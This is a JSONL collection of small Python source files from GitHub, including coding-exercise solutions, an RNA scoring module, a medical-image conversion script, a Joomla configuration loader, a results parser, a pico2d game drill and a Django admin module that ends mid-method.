+{"seq_id":"23556947555","text":"def calcLength(src, size):\n    res = \"\"\n    for i in range(0,len(src)):\n        # cnt = 1\n        cur = src[i:i+size]\n        print(cur)\n    \n    return len(res)\n\n\ndef solution(s):\n    min = len(s) # 압축이 아닌 상태 초기 값\n    for size in range(1,len(s)):\n        temp = calcLength(s, size)         \n        if min > temp:\n            min = temp\n    return min\n\n\ndef main():\n    solution(\"aabbaccc\")\n\n\nif __name__ == '__main__':\n    main()","repo_name":"KwakSeungeun/Programmers","sub_path":"2020_kakao_01.py","file_name":"2020_kakao_01.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27475906429","text":"class Solution:\n  def lognestString(self, word: str):\n    i = 0\n    while i < len(word):\n      if word.count(word[i]) > 1:\n        word = word[:i] + word[i+1:]\n        i = 0\n\n      else:\n        i += 1\n\n    return word\n\ns = Solution()\n\nprint(s.lognestString(\"pwwkew\"))","repo_name":"egepaksoy/LongestSubstring","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37092852702","text":"#to make 0 every data\nwith open(\"countries.txt\",\"r+\") as file:\n    lines = file.readlines()\n    new_lines = []\n    for line in lines:\n        tmp_str = \"\"\n        for i in range(len(line)-1,-1,-1):\n            if line[i] == '\\t':\n                if not len(line[:i])==1:\n                    tmp_str = line[:i]+\"\\t0\\n\"\n                break\n        new_lines.append(tmp_str)\n    file.writelines(new_lines)\n","repo_name":"Musa-Sina-Ertugrul/NglView_website","sub_path":"tmp_script.py","file_name":"tmp_script.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4293330316","text":"\nN = int(input())\n\nls = [int(input()) for i in range(N)]\n\nans_min = sum(ls)\n\nfor i in range(2**N):\n    first_niku, second_niku = 0,0\n    for j in range(N):\n        if (1<<j) & i:\n            first_niku+=ls[j]\n        else:\n            second_niku+=ls[j]\n    minutes = max(first_niku, second_niku)\n    if ans_min > minutes:\n        ans_min = minutes\n\nprint(ans_min)\n\n#https://atcoder.jp/contests/arc029/tasks/arc029_1","repo_name":"murakami10/atc_python","sub_path":"solved/02/arc029a.py","file_name":"arc029a.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"24594781767","text":"import math\nimport numpy as np\n\n\nclass Cleaner:\n    # This class takes as input a '.pdb' file and outputs a list containing only the 'c3' atoms in that file.\n    def __init__(self, path_pdb_file):\n        self.path_pdb_file = path_pdb_file\n        self.atom_list = []\n        self.c3_list = []\n\n    # 'Return' a List containing all atoms\n    def atom_extractor(self):\n        pdb_file = open(self.path_pdb_file, 'r')\n        for line in pdb_file:\n            if line[0:4] == 'ATOM':\n                cols = line.strip('\\n')\n                # Handles the particular structure of the '.pdb' file\n                atom = [cols[0:6], cols[6:11], cols[12:16], cols[16:17], cols[17:20], cols[21:22], cols[22:26],\n                        cols[26:27], cols[30:38], cols[38:46], cols[46:54], cols[54:60], cols[60:66], cols[76:78],\n                        cols[78:80]]\n                elm = [i.replace(' ', '') for i in atom]\n                self.atom_list.append(elm)\n        pdb_file.close()\n\n    # Select only c3' atoms of the atom_list\n    def c3_extractor(self):\n        for elm in self.atom_list:\n            if elm[2] == \"C3'\":\n                self.c3_list.append(elm)\n\n    def run(self):\n        self.atom_extractor()\n        self.c3_extractor()\n        return self.c3_list\n\n\ndef distance_calculator(res1, res2):\n    \"\"\"\n    Calculates the distance between two residuals\n    :param res1: Residual 1\n    :param res2: Residual 2\n    :return: A float representing the distance between the two residuals taken as input\n    \"\"\"\n    res1 = list(np.float_(res1))\n    res2 = list(np.float_(res2))\n    distance = ((res1[0] - res2[0]) ** 2 + (res1[1] - res2[1]) ** 2 + (res1[2] - res2[2]) ** 2) ** (1 / 2)\n    return distance\n\n\ndef bp_attribution(c3_list, objective, frequency=None, gibbs_free_energy=None, energy=None):\n    \"\"\"\n    From a list of bases one creates pairs according to pre-established conditions and either adds them according to\n    the distance and the base pair to a list or calculates the Gibbs free energy\n    :param c3_list: List where each element is a line of a C3' atom extracted from a pdb file and preprocessed by the Cleaner class.\n    :param objective: 'training' or 'scoring' depending on whether the function is used to train the objective function (training)\n    or to estimate the Gibbs free energy of an RNA conformation (scoring).\n    :param frequency: Only for 'training'\n    The 'frequency' list is of the form [[[AA], [0,0...0]], [[AC], [0,0...0]] ... [[XX], [0,0...0]]] with the last element of the list 'XX' contains the reference frequency.\n    In this part the corresponding distance interval is incremented by 1 for each base pair.\n    :param gibbs_free_energy: Only for 'scoring'\n    :param energy: Path to a folder 'Energy' containing 10 files (one per base pair) of 20 lines each.\n    :return:\n    \"\"\"\n    for res1 in c3_list:\n        compare = False\n        for res2 in c3_list:\n            if compare:  # Allows a base pair to be processed only once\n                if res1[5] == res2[5] and (int(res1[6]) + 4) <= int(res2[6]):  # Conditions: Only 'intra-chain' distances are considered & Only consider residues separated by at least 3 positions on the sequence\n                    bp = ''.join(sorted((res1[4] + res2[4])))\n                    dist = distance_calculator(res1[8:11], res2[8:11])\n                    if objective == 'training':\n                        if 0 <= dist <= 20:\n                            for bp_tot in frequency:\n                                if bp == bp_tot[0]:\n                                    int_dist = math.floor(dist)\n                                    bp_tot[1][int_dist] += 1\n                                    frequency[10][1][int_dist] += 1\n                    else:  # type == 'scoring'\n                        if 0.5 <= dist <= 19.5:\n                            gibbs_free_energy += linear_interpolation(bp, dist, energy)\n            if res1 == res2:\n                compare = True\n    if objective == 'training':\n        return frequency\n    else:\n        return gibbs_free_energy\n\n\ndef linear_interpolation(bp, dist, energy):\n    \"\"\"\n    A score value is calculated using linear interpolation.\n    Each line is taken as the average of the interval. (e.g. line 1 corresponding to the interval [0, 1] is\n    considered to be the value 0.5 in the interpolation.)\n    Thus, only values between 0.5 and 19.5 are taken into account.\n    Note this program is only used in the 'scoring.py' script but is in this file to avoid an error due to a circular import.\n    :param energy: Path to a folder 'Energy' containing 10 files (one per base pair) of 20 lines each.\n    :param bp: A base pair\n    :param dist: Distance between the two bases\n    :return: Energy associated with base pair and distance\n    \"\"\"\n    with open(energy + '/' + bp, 'r') as energy:\n        content = energy.readlines()\n    energy_before = float(content[math.floor(dist) - 1])\n    energy_after = float(content[math.floor(dist)])\n    energy = energy_before + (dist - (math.floor(dist) - 0.5)) * (energy_after - energy_before)  # Linear Interpolation Formula\n    return energy\n","repo_name":"h-escoffier/RNA-ERGY","sub_path":"shared.py","file_name":"shared.py","file_ext":"py","file_size_in_byte":5121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"45584079899","text":"from msct_parser import Parser\nimport sys\n\n\n# DEFAULT PARAMETERS\nclass Param:\n    ## The constructor\n    def __init__(self):\n        self.verbose = 1\n\n\n# PARSER\n# ==========================================================================================\ndef get_parser():\n    # parser initialisation\n    parser = Parser(__file__)\n\n    # initialize parameters\n    param = Param()\n    param_default = Param()\n\n    # Initialize the parser\n    parser = Parser(__file__)\n    parser.usage.set_description('Convert image file to another type.')\n    parser.add_option(name=\"-i\",\n                      type_value=\"file\",\n                      description=\"File input\",\n                      mandatory=True,\n                      example='data.nii.gz')\n    parser.add_option(name=\"-o\",\n                      type_value=\"file_output\",\n                      description=\"File output (indicate new extension)\",\n                      mandatory=True,\n                      example=['data.nii'])\n    parser.add_option(name=\"-squeeze\",\n                      type_value='multiple_choice',\n                      description='Sueeze data dimension (remove unused dimension).',\n                      mandatory=False,\n                      example=['0', '1'],\n                      default_value='1')\n    return parser\n\n\n# conversion\n# ==========================================================================================\ndef convert(fname_in, fname_out, squeeze_data=True, type=None, verbose=1):\n    \"\"\"\n    Convert data\n    :return True/False\n    \"\"\"\n    from msct_image import Image\n    from sct_utils import printv\n    printv('sct_convert -i '+fname_in+' -o '+fname_out, verbose, 'code')\n    # Open file\n    im = Image(fname_in)\n    # Save file\n    im.setFileName(fname_out)\n    if type is not None:\n        im.changeType(type=type)\n    im.save(squeeze_data=squeeze_data)\n    return im\n\n\n# MAIN\n# ==========================================================================================\ndef main(args = None):\n\n    if not args:\n        args = sys.argv[1:]\n\n    # Building the command, do sanity checks\n    parser = get_parser()\n    arguments = parser.parse(sys.argv[1:])\n    fname_in = arguments[\"-i\"]\n    fname_out = arguments[\"-o\"]\n    squeeze_data = bool(int(arguments['-squeeze']))\n\n    # convert file\n    convert(fname_in, fname_out, squeeze_data=squeeze_data)\n\n\n\n# START PROGRAM\n# ==========================================================================================\nif __name__ == \"__main__\":\n    # initialize parameters\n    param = Param()\n    # call main function\n    main()\n\n\n\n# import os\n# import sys\n# import commands\n# import getopt\n# import sct_utils as sct\n# import nibabel as nib\n# from scipy.io import netcdf\n#\n#\n# # DEFAULT PARAMETERS\n# class Param:\n#     ## The constructor\n#     def __init__(self):\n#         self.debug = 0\n#         self.verbose = 1\n#\n# # main\n# #=======================================================================================================================\n# def main():\n#\n#     # Initialization\n#     fname_data = ''\n#     fname_out = ''\n#     verbose = param.verbose\n#\n#     # Parameters for debug mode\n#     if param.debug:\n#         print '\\n*** WARNING: DEBUG MODE ON ***\\n'\n#     else:\n#         # Check input parameters\n#         try:\n#             opts, args = getopt.getopt(sys.argv[1:], 'hi:o:v:')\n#         except getopt.GetoptError:\n#             usage()\n#         if not opts:\n#             usage()\n#         for opt, arg in opts:\n#             if opt == '-h':\n#                 usage()\n#             elif opt in ('-i'):\n#                 fname_data = arg\n#             elif opt in ('-o'):\n#                 fname_out = arg\n#             elif opt in ('-v'):\n#                 verbose = int(arg)\n#\n#     # display usage if a mandatory argument is not provided\n#     if fname_data == '':\n#         usage()\n#\n#     cmd = 'which mnc2nii'\n#     status, output = commands.getstatusoutput(cmd)\n#     if not output:\n#         sct.printv('ERROR: minc-toolkit not installed...',1,'error')\n#     if output != '/opt/minc/bin/mnc2nii':\n#         sct.printv('ERROR: the minc-toolkit that you use is not the correct one. Please contact SCT administrator.')\n#\n#     # Check file existence\n#     sct.printv('\\nCheck file existence...', verbose)\n#     sct.check_file_exist(fname_data, verbose)\n#\n#     # extract names\n#     fname_data = os.path.abspath(fname_data)\n#     path_in, file_in, ext_in = sct.extract_fname(fname_data)\n#     if fname_out == '':\n#         path_out, file_out, ext_out = '', file_in, '.nii'\n#         fname_out = path_out+file_out+ext_out\n#     else:\n#         fname_out = os.path.abspath(fname_out)\n#         path_in, file_in, ext_in = sct.extract_fname(fname_data)\n#         path_out, file_out, ext_out = sct.extract_fname(fname_out)\n#\n#     if ext_in=='.nii' and ext_out=='.mnc':\n#         nii2mnc(fname_data,fname_out)\n#     elif ext_in=='.nii.gz' and ext_out=='.mnc':\n#         niigz2mnc(fname_data,fname_out)\n#     elif ext_in=='.mnc' and ext_out=='.nii':\n#         mnc2nii(fname_data,fname_out)\n#     elif ext_in=='.mnc' and ext_out=='.nii.gz':\n#         mnc2niigz(fname_data,fname_out)\n#     elif ext_in=='.nii' and ext_out=='.header':\n#         nii2volviewer(fname_data,fname_out)\n#     elif ext_in=='.nii.gz' and ext_out=='.header':\n#         niigz2volviewer(fname_data,fname_out)\n#     elif ext_in=='.mnc' and ext_out=='.header':\n#         mnc2volviewer(fname_data,fname_out)\n#\n#     # remove temp files\n#     sct.run('rm -rf '+path_in+'tmp.*', param.verbose)\n#\n#\n# # Convert file from nifti to minc\n# # ==========================================================================================\n# def nii2mnc(fname_data,fname_out):\n#     print \"Converting from nifti to minc\"\n#     sct.run(\"nii2mnc \"+fname_data+\" \"+fname_out)\n#\n# # Convert file from nifti to minc\n# # ==========================================================================================\n# def niigz2mnc(fname_data,fname_out):\n#     print \"Converting from nifti to minc\"\n#     path_in, file_in, ext_in = sct.extract_fname(fname_data)\n#     fname_data_tmp=path_in+\"tmp.\"+file_in+\".nii\"\n#     sct.run(\"gunzip -c \"+fname_data+\" >\"+fname_data_tmp)\n#     sct.run(\"nii2mnc \"+fname_data_tmp+\" \"+fname_out)\n#\n# # Convert file from minc to nifti\n# # ==========================================================================================\n# def mnc2nii(fname_data,fname_out):\n#     print \"Converting from minc to nifti\"\n#     sct.run(\"mnc2nii \"+fname_data+\" \"+fname_out)\n#\n# # Convert file from minc to nifti\n# # ==========================================================================================\n# def mnc2niigz(fname_data,fname_out):\n#     print \"Converting from minc to nifti\"\n#     path_out, file_out, ext_out = sct.extract_fname(fname_out)\n#     fname_data_tmp=path_out+file_out+\".nii\"\n#     sct.run(\"mnc2nii \"+fname_data+\" \"+fname_data_tmp)\n#     sct.run(\"gzip \"+fname_data_tmp)\n#\n# # Convert file from nifti to volumeviewer\n# # ==========================================================================================\n# def nii2volviewer(fname_data,fname_out):\n#     print \"Converting from nifti to volume viewer\"\n#     path_in, file_in, ext_in = sct.extract_fname(fname_data)\n#     path_out, file_out, ext_out = sct.extract_fname(fname_out)\n#     fname_data_nii = path_out+\"tmp.\"+file_out+'.mnc'\n#     nii2mnc(fname_data,fname_data_nii)\n#     mnc2volviewer(fname_data_nii,path_out+file_out)\n#\n# # Convert file from nifti to volumeviewer\n# # ==========================================================================================\n# def niigz2volviewer(fname_data,fname_out):\n#     print \"Converting from nifti to volume viewer\"\n#     path_in, file_in, ext_in = sct.extract_fname(fname_data)\n#     path_out, file_out, ext_out = sct.extract_fname(fname_out)\n#     fname_data_mnc = path_out+\"tmp.\"+file_out+'.mnc'\n#     niigz2mnc(fname_data,fname_data_mnc)\n#     mnc2volviewer(fname_data_mnc,path_out+file_out)\n#\n# # Convert file from minc to volumeviewer\n# # ==========================================================================================\n# def mnc2volviewer(fname_data,fname_out):\n#     print \"Converting from minc to volume viewer\"\n#     sct.run(\"isct_minc2volume-viewer \"+fname_data+\" -o \"+fname_out)\n#\n#\n# # Print usage\n# # ==========================================================================================\n# def usage():\n#     print \"\"\"\n#         \"\"\"+os.path.basename(__file__)+\"\"\"\n#             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#             Part of the Spinal Cord Toolbox <https://sourceforge.net/projects/spinalcordtoolbox>\n#\n#             DESCRIPTION\n#             Convert files from nifti to minc, minc to nifti or nifti to volume viewer.\n#\n#             USAGE\n#             \"\"\"+os.path.basename(__file__)+\"\"\" -i <data>\n#\n#                 MANDATORY ARGUMENTS\n#                 -i <data>             input volume\n#\n#                 OPTIONAL ARGUMENTS\n#                 -o <output>           output volume. Add extension. Default=\"data\".nii\n#                 -v {0,1}              verbose. Default=\"\"\"+str(param_default.verbose)+\"\"\"\n#                 -h                    help. Show this message\n#                 \"\"\"\n#     # exit program\n#     sys.exit(2)\n\n","repo_name":"ReyhanehA/GDP40","sub_path":"97182_sct_convert.py_C__Users_user_Desktop_data_2_data_google_data_neuropoly_spinalcordtoolbox_s.py","file_name":"97182_sct_convert.py_C__Users_user_Desktop_data_2_data_google_data_neuropoly_spinalcordtoolbox_s.py","file_ext":"py","file_size_in_byte":9308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"42122773506","text":"\"\"\"\nSettings and configuration from Joomla!.\n\nValues will be read from Joomla! configuration file specified by the\nJOOMLA_CONFIGURATION environment variable, and then from\ndjoonga.conf.global_settings; see the global settings file for\na list of all possible variables.\n\"\"\"\n\nimport os\nfrom djoonga.utils.exceptions import ConfigurationNotFound\nimport subprocess\nimport phpserialize\nimport StringIO\n\nENVIRONMENT_VARIABLE = \"JOOMLA_CONFIGURATION\"\n\ntry:\n    configuration = os.environ[ENVIRONMENT_VARIABLE]\n    if not configuration: # If it's set but is an empty string.\n        raise KeyError\nexcept KeyError:\n    # NOTE: This is arguably an EnvironmentError, but that causes\n    # problems with Python's interactive help.\n    raise ConfigurationNotFound(\"Configuration cannot be loaded, because environment variable %s is undefined.\" % ENVIRONMENT_VARIABLE)\n\nif not os.path.exists(configuration):\n    raise ConfigurationNotFound(\"Configuration file could not be found in %s\" % configuration)\n\npath = os.path.abspath(os.path.join(os.getcwd(), configuration))\n\ncmd = ['php','-r','''include('%s'); $config = new JConfig; echo serialize($config);'''%path ]\ns = subprocess.Popen(cmd, stdout=subprocess.PIPE)\noutput, error = s.communicate()\ns = StringIO.StringIO()\ns.write(output)\ns.seek(0)\n\njconfig = phpserialize.load(s, object_hook=phpserialize.phpobject)\n\n","repo_name":"taras/djoonga","sub_path":"src/djoonga/src/djoonga/conf/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"6158272276","text":"import numpy as np\nimport scipy.stats as st\n\nfrom instream import InStream\n\nimport os\nimport sys\nimport math\n\ndef ci_mean(data, alpha=0.95):\n    # https://www.kite.com/python/answers/how-to-compute-the-confidence-interval-of-a-sample-statistic-in-python\n    # https://www.kite.com/python/examples/702/scipy-compute-a-confidence-interval-from-a-dataset\n\n    #define sample data\n    #data = [12, 12, 13, 13, 15, 16, 17, 22, 23, 25, 26, 27, 28, 28, 29]\n\n    #data = [0.72,0.74, 0.73, 0.70, 0.75]\n\n    #create 95% confidence interval for population mean weight from t-distribution\n    ci = st.t.interval(alpha=alpha, df=len(data)-1, loc=np.mean(data), scale=st.sem(data)) \n    #print( 'CI=' + str(ci) )\n    \n    # So CI gives bound around mean, we want the MOE\n    # CI=(0.7041161161190002, 0.7518838838809998)\n    u = np.mean(data)\n    \n    \n    #hiDiff = ci[1] - u\n    #lowDiff = u - ci[0]\n    #print( 'hiDiff ' + str(hiDiff) )\n    #print( 'lowDiff ' + str(lowDiff) )\n\n    moe = ci[1] - u # can use just upperbound, same diff from u to lower bound\n    return moe\n    \n\ndef ci_proportion(p_hat_list, confidenceLevel):\n    confidenceLevels = { 90:1.64, 95:1.96, 98:2.33, 99:2.58 }\n\n    p_hat = np.mean( p_hat_list )\n\n    n = len( p_hat_list )\n\n    SE_hat_p = np.sqrt(p_hat*(1-p_hat)/n)\n    moe = 2 * SE_hat_p\n    lb = np.round( p_hat - moe, 2 )\n    ub = np.round( p_hat + moe, 2 )\n\n    print('With 95% confidence between {} and {}'.format(lb, ub) )\n\n\n\ndef parseAccuracy( resultFile ):\n    stream = InStream(resultFile)\n    accuracy = None\n    while( not stream.isEmpty() ):\n        line = stream.readLine()\n        #line = line.lstrip() # funny character in front of tdidf result.txt\n        line = line.strip()\n        if( line.startswith('Accuracy:') ):\n            #print( '        ' + line )\n            # Accuracy:0.68\n            # Accuracy:0.89\n            tokens = line.split(':')\n            accuracy = float(tokens[1])\n            break\n    stream.close()\n    return accuracy\n\n\ndef parseProcessingTime( resultFile ):\n    stream = InStream(resultFile)\n    processingTime = None\n    while( not stream.isEmpty() ):\n        line = stream.readLine()\n        #line = line.lstrip() # funny character in front of tdidf result.txt\n        line = line.strip()\n        if( line.startswith('classification_processing_time=') ):\n            #print( '        ' + line )\n            # classification_processing_time=1434.2269115447998\n            # Accuracy:0.89\n            tokens = line.split('=')\n            processingTime = float(tokens[1])\n            break\n    stream.close()\n    return processingTime\n\n\ndef main():\n    #data = [0.72,0.74, 0.73, 0.70, 0.75]\n    ###ci_proportion( data, 95 )\n    #ci_mean(data)\n\n    if( len(sys.argv) != 2 ):\n        print('Usage: <time | accuracy>')\n        return\n    computeTime = (sys.argv[1] == 'time')\n\n    # Map series -> sentencesPerInstance -> list[x1, x2, x3, ..., xn]\n    resultsMap = dict()\n    \n\n    verbose = False\n    # List all files in a directory using os.listdir\n    resultsDir = './results'\n    for seriesName in os.listdir(resultsDir):\n        seriesDir = os.path.join(resultsDir, seriesName)\n        if not os.path.isfile(seriesDir):\n            if(verbose): print(seriesDir)\n            # Parse out the series, omitting the trial\n            # word2vec_3\n            tokens = seriesName.split('_')\n            series = tokens[0]\n            if(verbose): print( series )\n            if( series not in resultsMap ):\n                print( 'ADDING ' + series )\n                resultsMap[series] = dict()\n            seriesMap = resultsMap[series]\n\n            # This is a dir, find the results.txt file in the dir\n            for arrfName in os.listdir(seriesDir):\n                arrfDir = os.path.join(seriesDir, arrfName)\n                if(verbose): print( '    ' + arrfDir)\n                # Parse out the number of sentences per instance in name of arrf dir\n                # arff_4\n                tokens = arrfName.split('_')\n                sentencesPerInstance = int(tokens[1])\n                if(verbose): print( '    ' + str(sentencesPerInstance) )\n\n                if( sentencesPerInstance not in seriesMap ):\n                    seriesMap[sentencesPerInstance] = list()\n                sentencesSamples = seriesMap[sentencesPerInstance]\n\n                if arrfName.startswith('arff_'):\n                    for fileName in os.listdir(arrfDir):\n                        resultFile = os.path.join(arrfDir, fileName)\n                        if fileName.startswith('results.') and os.path.isfile(resultFile):\n                            if(verbose): print( '        ' + resultFile)\n\n                            metric = None\n                            if( computeTime ):\n                                metric = parseProcessingTime(resultFile)\n                            else:\n                                metric = parseAccuracy(resultFile)\n                            \n                            if(verbose): print( '        ' + str(metric) )\n                            if metric is not None:\n                                sentencesSamples.append(metric)\n    print('===========================================')                    \n    for series in resultsMap:\n        seriesMap = resultsMap[series]\n        print( series )\n        for sentences in sorted(seriesMap.keys()):\n            sentencesSamples = seriesMap[sentences]\n            #print( '    ' + str(sentencesSamples) )\n            if( len(sentencesSamples) > 0 ):\n                u = round( np.mean(sentencesSamples), 4)\n                moe = ci_mean( sentencesSamples )\n                if(not moe > 0.0): moe = 0.0 # handles nan values\n                moe = round(moe, 4)\n                print( '({},{}) +-({},{})'.format(sentences, u, moe,moe) )\n\n\n\nif __name__ == '__main__':\n    main()\n    \n\n","repo_name":"Yilin-Cao-vd21438/EMATM0047-2022-vd21438","sub_path":"2022-EMATM0047-vd21438-main/analysis/confidence-interval.py","file_name":"confidence-interval.py","file_ext":"py","file_size_in_byte":5827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17690076475","text":"string_hours = input('Enter Hours: ')\nstring_rate = input('Enter Rate: ')\n\nwhile string_hours == '' or string_rate == '':\n    string_hours = input('Please enter hours in numbers example (5.35min): ')\n    string_rate = input('Please enter the rate in numbers example (5.35): ')\n\nfloat_hours = float(string_hours)\nfloat_rate = float(string_rate)\n\ndef paymentComputer(float_hours, float_rate):\n    if float_hours > 40.0:\n        regular_hours = float_rate * float_hours\n        overtime_payment = (float_hours - 40.0) * (float_rate * 0.5)\n        payment = regular_hours + overtime_payment\n    else:\n        payment = float_hours * float_rate\n\n    return payment\n\npay = paymentComputer(float_hours, float_rate)\nprint('Pay: $%.2f' % pay)\n","repo_name":"William-AViana/Learn-with-Freecodecamp","sub_path":"04_ex/ex_01.py","file_name":"ex_01.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32824323044","text":"import random\nfrom pico2d import *\n\nTUK_WIDTH, TUK_HEIGHT = 1280, 1024\nhand_x, hand_y = TUK_WIDTH // 2, TUK_HEIGHT // 2\nx, y = TUK_WIDTH // 2, TUK_HEIGHT // 2\nopen_canvas(TUK_WIDTH, TUK_HEIGHT)\ntuk_ground = load_image('TUK_GROUND.png')\ncharacter = load_image('animation_sheet.png')\nhand = load_image('hand_arrow.png')\n\nrunning = True\nframe = 0\nbottom = 0\n\ndef rand_point():\n    global hand_x, hand_y\n\n    points = [(random.randint(0, TUK_WIDTH)), (random.randint(0, TUK_HEIGHT))]\n    hand_x = points[0]\n    hand_y = points[1]\n\ndef handle_events():\n    global running\n    global x, y\n\n    events = get_events()\n    for event in events:\n        if event.type == SDL_QUIT:\n            running = False\n        elif event.type == SDL_KEYDOWN and event.key == SDLK_ESCAPE:\n            running = False\n\ndef character_move():\n    global x, y\n\n    x1, y1 = x, y\n    x2, y2 = hand_x, hand_y\n\n    for i in range(0,100+1, 4):\n        t=i/100\n        x = (1-t)*x1 + t*x2 # 1-t : t의 비율로 x1, x2를 섞는다. 더한다.\n        y = (1-t)*y1 + t*y2\n        Draw()\n\n\ndef Draw():\n    global frame\n    global bottom\n\n    clear_canvas()\n\n    tuk_ground.draw(TUK_WIDTH // 2, TUK_HEIGHT // 2)\n    hand.draw(hand_x, hand_y)\n\n    character.clip_draw(frame * 100, bottom, 100, 100, x, y)\n    update_canvas()\n    frame = (frame + 1) % 8\n    delay(0.05)\n\ndef bottom_check():\n    global bottom\n\n    if x < hand_x:\n        bottom = 100\n    else:\n        bottom = 0\n\n# === main ===\nwhile running:\n    Draw()\n\n    if x == hand_x and y == hand_y:\n        rand_point()\n        bottom_check()\n\n    elif x != hand_x or y != hand_y:\n        character_move()\n\n    handle_events()\n\nclose_canvas()","repo_name":"ZOOY2ON/Drill05","sub_path":"Drill05_hand_arrow_follow_boy.py","file_name":"Drill05_hand_arrow_follow_boy.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33867919397","text":"from django.contrib import admin\nfrom django.utils.html import format_html\nfrom django.urls import reverse\n\nfrom francedata.services.django_admin import (\n    TimeStampModelAdmin,\n    view_reverse_changelink,\n)\nfrom core import models\nfrom config.settings import FRONT_HOME_URL\n\n# Admin methods\ndef make_published(modeladmin, request, queryset):\n    queryset.update(is_published=True)\n\n\nmake_published.short_description = \"Marquer la sélection comme publiée\"\n\n\ndef make_not_published(modeladmin, request, queryset):\n    queryset.update(is_published=False)\n\n\nmake_not_published.short_description = \"Marquer la sélection comme non publiée\"\n\n# Admin panels\n@admin.register(models.Metadata)\nclass MetadataAdmin(TimeStampModelAdmin):\n    list_display = (\"prop\", \"value\")\n\n\n@admin.register(models.DataYear)\nclass DataYearAdmin(TimeStampModelAdmin):\n    pass\n\n\n@admin.register(models.Scope)\nclass ScopeAdmin(TimeStampModelAdmin):\n    search_fields = (\"name\",)\n    list_display = (\"name\", \"view_sources_link\", \"view_documents_link\")\n    ordering = [\"name\"]\n\n    def view_sources_link(self, obj):\n        return view_reverse_changelink(obj, \"core\", \"scope\", \"source\")\n\n    view_sources_link.short_description = \"Sources\"\n\n    def view_documents_link(self, obj):\n        return view_reverse_changelink(obj, \"core\", \"scope\", \"document\")\n\n    view_documents_link.short_description = \"Publications\"\n\n\n@admin.register(models.DocumentType)\nclass DocumentTypeAdmin(TimeStampModelAdmin):\n    list_display = (\"name\", \"view_documents_link\", \"view_logo\")\n    ordering = [\"name\"]\n\n    def view_logo(self, obj):\n        logo_full_url = f\"{FRONT_HOME_URL}{obj.icon_path}\"\n        return format_html(f'<img src=\"{logo_full_url}\" alt=\"\" />')\n\n    view_logo.short_description = \"Logo\"\n\n    def view_documents_link(self, obj):\n        return view_reverse_changelink(obj, \"core\", \"document_type\", \"document\")\n\n    view_documents_link.short_description = \"Publications\"\n\n\n@admin.register(models.Topic)\nclass TopicAdmin(TimeStampModelAdmin):\n    list_display = (\"name\", \"view_sources_link\", \"view_documents_link\", \"view_logo\")\n    readonly_fields = [\n        \"view_logo\",\n        \"created_at\",\n        \"updated_at\",\n    ]\n    ordering = [\"name\"]\n\n    def view_sources_link(self, obj):\n        return view_reverse_changelink(obj, \"core\", \"topics\", \"source\")\n\n    view_sources_link.short_description = \"Sources\"\n\n    def view_documents_link(self, obj):\n        return view_reverse_changelink(obj, \"core\", \"topics\", \"document\")\n\n    def view_logo(self, obj):\n        logo_full_url = f\"{FRONT_HOME_URL}{obj.icon_path}\"\n        return format_html(f'<img src=\"{logo_full_url}\" alt=\"\" />')\n\n    view_logo.short_description = \"Logo\"\n\n    view_documents_link.short_description = \"Publications\"\n\n\n@admin.register(models.Organization)\nclass OrganizationAdmin(TimeStampModelAdmin):\n    list_display = (\"__str__\", \"acronym\", \"name\")\n\n\n@admin.register(models.PageType)\nclass PageTypeAdmin(TimeStampModelAdmin):\n    list_display = (\"name\", \"view_documents_link\")\n\n    def view_documents_link(self, obj):\n        return view_reverse_changelink(obj, \"core\", \"publication_pages\", \"document\")\n\n    view_documents_link.short_description = \"Publications\"\n\n\n@admin.register(models.Document)\nclass DocumentAdmin(TimeStampModelAdmin):\n    ordering = (\"-created_at\",)\n    search_fields = (\"title\", \"url\")\n    list_display = (\n        \"__str__\",\n        \"is_published\",\n        \"last_update\",\n        \"view_thumbnail\",\n    )\n    list_filter = (\n        \"is_published\",\n        \"years__year\",\n        \"source__editor\",\n        \"source\",\n        (\"image_url\", admin.EmptyFieldListFilter),\n    )\n\n    raw_id_fields = (\"epcis\", \"communes\")\n\n    fieldsets = [\n        (\n            None,\n            {\n                \"fields\": [\n                    (\"title\", \"is_published\"),\n                    (\"url\", \"base_domain\"),\n                ]\n            },\n        ),\n        (\n            \"Contenu\",\n            {\n                \"fields\": [\n                    \"body\",\n                    (\"image_url\", \"view_image\"),\n                ]\n            },\n        ),\n        (\n            \"Source\",\n            {\n                \"fields\": [\n                    \"source\",\n                    \"bnsp_queries\",\n                    \"ods_queries\",\n                ]\n            },\n        ),\n        (\n            \"Classement\",\n            {\n                \"fields\": [\n                    \"weight\",\n                    \"tags\",\n                    \"publication_pages\",\n                    \"years\",\n                    \"scope\",\n                    \"regions\",\n                    \"departements\",\n                    \"epcis\",\n                    \"communes\",\n                    \"topics\",\n                    \"document_type\",\n                ]\n            },\n        ),\n        (\"Métadonn��es\", {\"fields\": [\"id\", \"created_at\", \"updated_at\"]}),\n    ]\n\n    readonly_fields = [\n        \"id\",\n        \"view_image\",\n        \"base_domain\",\n        \"created_at\",\n        \"updated_at\",\n    ]\n\n    actions = [make_published, make_not_published]\n\n    def view_image(self, 